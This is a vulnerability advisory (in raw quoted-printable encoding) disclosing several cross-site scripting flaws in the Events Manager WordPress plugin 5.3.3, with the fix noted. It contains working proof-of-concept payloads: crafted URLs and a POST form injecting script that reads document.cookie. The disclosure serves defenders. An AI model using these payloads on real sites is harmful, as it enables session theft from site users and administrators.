Advisory ID: HTB23139
Product: Events Manager WordPress plugin
Vendor: Marcus Sykes
Vulnerable Version(s): 5.3.3 and probably prior
Tested Version: 5.3.3
Vendor Notification: January 16, 2013=20
Vendor Patch: January 17, 2013=20
Public Disclosure: March 6, 2013=20
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-1407
Risk Level: Medium=20
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple XSS vulnerabilit=
ies in Events Manager WordPress plugin, which can be exploited to perform C=
ross-Site Scripting attacks.
1) Multiple XSS vulnerabilities in Events Manager WordPress plugin: CVE-201=
3-1407
1.1 The vulnerability exists due to insufficient filtration of user-supplie=
d data in "scope" HTTP GET parameter passed to "/index.php" script. A remot=
e attacker can trick user to open a specially crafted link and execute arbi=
trary HTML and script code in browser in context of the vulnerable website=
=2E
PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to disp=
lay user's cookies:=20
http://[host]/?page_id=3D42&scope=3D%22%3E%3Cscript%3Ealert%28document.cook=
ie%29;%3C/script%3E,%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script=
%3E
1.2 The vulnerability exists due to insufficient filtration of user-supplie=
d data in "_wpnonce" HTTP GET parameter passed to "/wp-admin/edit.php" scri=
pt. A remote attacker can trick logged-in administrator to open a specially=
crafted link and execute arbitrary HTML and script code in browser in cont=
ext of the vulnerable website.
PoC (Proof-of-Concept) below uses "alert()" JavaScript function to display =
administrator's cookies:=20
http://[host]/wp-admin/edit.php?post_type=3Devent&page=3Devents-manager-boo=
kings&_wpnonce=3D%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
1.3 The vulnerabilities exist due to insufficient filtration of user-suppli=
ed data in "user_name", "dbem_phone" and "user_email" HTTP GET parameters p=
assed to "/index.php" script. A remote attacker can trick user to open a sp=
ecially crafted link and execute arbitrary HTML and script code in browser =
in context of the vulnerable website.
PoCs (Proof-of-Concept) below use the "alert()" JavaScript function to disp=
lay user's cookies:=20
http://[host]/?event=3D1&user_name=3D%27%3E%3Cscript%3Ealert%28document.coo=
kie%29;%3C/script%3E
http://[host]/?event=3D1&dbem_phone=3D%27%3E%3Cscript%3Ealert%28document.co=
okie%29;%3C/script%3E
http://[host]/?event=3D1&user_email=3D%27%3E%3Cscript%3Ealert%28document.co=
okie%29;%3C/script%3E
1.4 The vulnerability exists due to insufficient filtration of user-supplie=
d data in "booking_comment" HTTP POST parameter passed to "/index.php" scri=
pt. A remote attacker can trick user to open a specially crafted link and e=
xecute arbitrary HTML and script code in browser in context of the vulnerab=
le website.
PoC (Proof-of-Concept) below uses the "alert()" JavaScript function to disp=
lay user's cookies:=20
<form action=3D"http://[host]/?event=3D1" method=3D"post" name=3D"askform">
<input type=3D"hidden" name=3D"booking_comment" value=3D"</textarea><script=
>alert(document.cookie);</script>"/>
<input type=3D"submit" id=3D"btn">
</form>
Vulnerabilities 1.3 and 1.4 will work only against unauthorized (not logged=
-in) users. Successful exploitation of these vulnerabilities also requires =
that event with id =3D 1 has turned-on registration.=20
---------------------------------------------------------------------------=
--------------------
Solution:
Upgrade to Events Manager 5.3.4
More Information:
http://wordpress.org/extend/plugins/events-manager/changelog/
http://wp-events-plugin.com/blog/2013/01/22/5-3-5-released-includes-a-secur=
ity-update/
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23139 - https://www.htbridge.com/advisory/=
HTB23139 - Multiple XSS vulnerabilities in Events Manager WordPress plugin=
=2E
[2] Events Manager - http://wp-events-plugin.com - Events Manager is a full=
-featured event registration plugin for WordPress based on the principles o=
f flexibility, reliability and powerful features.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.=20
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.